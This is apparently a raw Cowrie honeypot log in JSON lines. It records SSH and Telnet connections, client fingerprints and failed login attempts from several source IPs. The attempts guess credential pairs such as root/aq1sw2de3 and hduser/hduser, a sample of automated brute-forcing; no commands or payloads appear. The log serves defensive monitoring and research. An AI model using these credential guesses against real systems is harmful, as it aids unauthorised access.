{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":46316,"dst_ip":"10.17.0.5","dst_port":22,"session":"429b626bc510","protocol":"ssh","message":"New connection: 45.153.34.97:46316 (10.17.0.5:22) [session: 429b626bc510]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:06.772291Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:06.780668Z","src_ip":"45.153.34.97","session":"429b626bc510","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:06.884750Z","src_ip":"45.153.34.97","session":"429b626bc510","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.92438364028931,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:07.598744Z","src_ip":"152.42.224.71","session":"80aff59a3751","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"hduser","password":"hduser","message":"login attempt [hduser/hduser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:07.700109Z","src_ip":"45.153.34.97","session":"429b626bc510","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48104,"dst_ip":"10.17.0.5","dst_port":23,"session":"08553a8bf7b4","protocol":"telnet","message":"New connection: 152.42.224.71:48104 (10.17.0.5:23) [session: 08553a8bf7b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:08.531582Z"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:08.788468Z","src_ip":"45.153.34.97","session":"429b626bc510","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":49578,"dst_ip":"10.17.0.5","dst_port":22,"session":"32cb70a76b3a","protocol":"ssh","message":"New connection: 45.153.34.97:49578 (10.17.0.5:22) [session: 32cb70a76b3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:11.470176Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:11.475315Z","src_ip":"45.153.34.97","session":"32cb70a76b3a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:11.582686Z","src_ip":"45.153.34.97","session":"32cb70a76b3a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"anton","password":"anton","message":"login attempt [anton/anton] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:12.206100Z","src_ip":"45.153.34.97","session":"32cb70a76b3a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":19.1720609664917,"message":"Connection lost after 19 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:12.275776Z","src_ip":"152.42.224.71","session":"4d24df0bf363","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.50246000289917,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:12.914412Z","src_ip":"152.42.224.71","session":"961589356263","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:13.291263Z","src_ip":"45.153.34.97","session":"32cb70a76b3a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":49586,"dst_ip":"10.17.0.5","dst_port":22,"session":"f617a4a02948","protocol":"ssh","message":"New connection: 45.153.34.97:49586 (10.17.0.5:22) [session: f617a4a02948]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:16.879548Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:16.885532Z","src_ip":"45.153.34.97","session":"f617a4a02948","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:16.985559Z","src_ip":"45.153.34.97","session":"f617a4a02948","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tmp","password":"tmp1234","message":"login attempt [tmp/tmp1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:17.525647Z","src_ip":"45.153.34.97","session":"f617a4a02948","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00140810012817,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:18.080459Z","src_ip":"152.42.224.71","session":"7901e9c53395","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:18.619589Z","src_ip":"45.153.34.97","session":"f617a4a02948","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":29704,"dst_ip":"10.17.0.5","dst_port":22,"session":"d0a1f3f00930","protocol":"ssh","message":"New connection: 45.153.34.97:29704 (10.17.0.5:22) [session: d0a1f3f00930]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:20.268742Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:20.275293Z","src_ip":"45.153.34.97","session":"d0a1f3f00930","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:20.371327Z","src_ip":"45.153.34.97","session":"d0a1f3f00930","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"111","message":"login attempt [user/111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:21.222141Z","src_ip":"45.153.34.97","session":"d0a1f3f00930","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.177.217","src_port":40990,"dst_ip":"10.17.0.5","dst_port":22,"session":"e396dc323f98","protocol":"ssh","message":"New connection: 43.135.177.217:40990 (10.17.0.5:22) [session: e396dc323f98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:22.011881Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:22.017293Z","src_ip":"43.135.177.217","session":"e396dc323f98","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:22.085412Z","src_ip":"43.135.177.217","session":"e396dc323f98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:22.309600Z","src_ip":"45.153.34.97","session":"d0a1f3f00930","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aq1sw2de3","message":"login attempt [root/aq1sw2de3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:22.390912Z","src_ip":"43.135.177.217","session":"e396dc323f98","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36192,"dst_ip":"10.17.0.5","dst_port":23,"session":"e7152a3a449d","protocol":"telnet","message":"New connection: 152.42.224.71:36192 (10.17.0.5:23) [session: e7152a3a449d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:23.318176Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:23.461662Z","src_ip":"43.135.177.217","session":"e396dc323f98","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":39648,"dst_ip":"159.203.135.109","dst_port":22,"session":"07b1a2c62d21","protocol":"ssh","message":"New connection: 147.45.197.250:39648 (159.203.135.109:22) [session: 07b1a2c62d21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:24.301471Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:24.310244Z","src_ip":"147.45.197.250","session":"07b1a2c62d21","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:24.403655Z","src_ip":"147.45.197.250","session":"07b1a2c62d21","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"delfin","message":"login attempt [root/delfin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:24.683654Z","src_ip":"147.45.197.250","session":"07b1a2c62d21","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":29720,"dst_ip":"10.17.0.5","dst_port":22,"session":"b30f87aea320","protocol":"ssh","message":"New connection: 45.153.34.97:29720 (10.17.0.5:22) [session: b30f87aea320]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:25.775578Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:25.781256Z","src_ip":"147.45.197.250","session":"07b1a2c62d21","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:25.785800Z","src_ip":"45.153.34.97","session":"b30f87aea320","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:25.886141Z","src_ip":"45.153.34.97","session":"b30f87aea320","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.38.88","src_port":57594,"dst_ip":"159.203.135.109","dst_port":22,"session":"8a0c1f91246b","protocol":"ssh","message":"New connection: 43.130.38.88:57594 (159.203.135.109:22) [session: 8a0c1f91246b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:26.044539Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:26.050800Z","src_ip":"43.130.38.88","session":"8a0c1f91246b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:26.122161Z","src_ip":"43.130.38.88","session":"8a0c1f91246b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test1","password":"test","message":"login attempt [test1/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:26.429024Z","src_ip":"43.130.38.88","session":"8a0c1f91246b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"pass123","message":"login attempt [minecraft/pass123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:26.569652Z","src_ip":"45.153.34.97","session":"b30f87aea320","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:26.783565Z","src_ip":"46.19.67.181","session":"b1738433b312","protocol":"ssh"}
